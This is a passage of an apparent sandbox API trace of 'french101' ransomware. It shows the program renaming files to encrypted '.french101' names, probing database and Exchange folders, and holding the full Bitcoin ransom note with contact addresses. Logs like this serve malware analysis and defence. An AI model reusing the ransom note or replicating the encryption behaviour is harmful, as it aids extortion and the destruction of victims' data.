nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0280.662] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.662] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.662] CloseHandle (hObject=0x398) returned 1 [0280.665] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\YAopRJ0z0RGnbEOwV7fMLnU+whdNrZ2LITFNKGnKJB8gLA.french101" (normalized: "c:\\588bce7c90097ed212\\1043\\yaoprj0z0rgnbeowv7fmlnu+whdnrz2litfnkgnkjb8gla.french101")) returned 1 [0280.665] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\YAopRJ0z0RGnbEOwV7fMLnU+whdNrZ2LITFNKGnKJB8gLA.french101" (normalized: "c:\\588bce7c90097ed212\\1043\\yaoprj0z0rgnbeowv7fmlnu+whdnrz2litfnkgnkjb8gla.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.666] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0280.666] CloseHandle (hObject=0x398) returned 1 [0280.666] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\YAopRJ0z0RGnbEOwV7fMLnU+whdNrZ2LITFNKGnKJB8gLA.french101", dwFileAttributes=0x80) returned 1 [0280.666] CloseHandle (hObject=0x398) returned 0 [0280.666] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.666] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.666] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.666] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.667] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.667] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.667] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.667] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.667] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.667] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0280.667] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0280.667] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0280.667] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0280.667] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.667] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1043\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.667] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.668] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0280.668] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.668] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.668] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0280.668] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.668] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0280.668] CloseHandle (hObject=0x398) returned 1 [0280.668] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.668] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.668] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.668] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.668] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.668] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.669] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.669] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.669] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.669] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.669] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.669] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.669] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.669] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.670] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0280.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0280.670] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0280.670] GetLastError () returned 0x12 [0280.670] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.670] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.670] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.670] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.670] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.671] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.671] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.671] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.671] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.671] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.671] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0280.671] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0280.671] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.671] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.671] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.671] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.671] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.671] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.671] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.671] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.672] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.672] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.672] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.672] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.672] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.672] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.672] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.672] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.672] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.672] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.672] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.672] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.672] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.672] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.675] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.675] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.675] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.675] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.675] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.675] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.675] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.675] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.675] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.675] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.675] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.676] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.676] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.676] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.676] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.676] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.676] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.679] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.679] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.679] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.679] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.679] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.679] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.679] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.679] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.679] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.679] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.679] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.679] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.680] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.680] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.680] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.680] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.680] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.680] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.680] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.680] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.680] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.680] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.680] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.680] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.680] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.680] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.680] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.680] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.680] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.680] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.681] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.681] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.681] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.681] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.681] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.681] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.681] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0280.681] GetLastError () returned 0x12 [0280.681] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.681] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0280.681] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0280.681] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0280.681] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.681] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.681] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.682] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.682] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.682] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.682] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.682] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.682] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.682] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.682] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.682] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.682] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.682] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.682] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.682] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.682] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.682] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.682] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.683] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.683] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1044", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1044") returned 1 [0280.683] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.683] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.683] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.683] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.683] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.683] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.683] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.683] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.683] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.683] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.789] GetLastError () returned 0x3 [0280.789] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0280.789] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.789] GetLastError () returned 0x2 [0280.789] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0280.789] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.790] GetLastError () returned 0x2 [0280.790] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0280.790] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.790] GetLastError () returned 0x2 [0280.790] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0280.790] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.790] GetLastError () returned 0x2 [0280.790] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0280.791] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.791] GetLastError () returned 0x2 [0280.791] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0280.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=6, 